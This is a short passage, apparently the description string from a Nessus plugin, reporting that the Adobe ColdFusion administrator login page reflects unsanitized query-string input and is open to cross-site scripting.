"The version of Adobe ColdFusion running on the remote host has is
affected by a cross-site scripting vulnerability in the administrative
web interface. Input to the query string of 'administrator/login.cfm'
is not properly sanitized before being returned in an HTML response.

A remote attacker can exploit this by tricking a user into making a
specially crafted request, resulting in the execution of arbitrary
script code.

This version of ColdFusion likely has several other vulnerabilities,
although Nessus has not checked for those issues.");
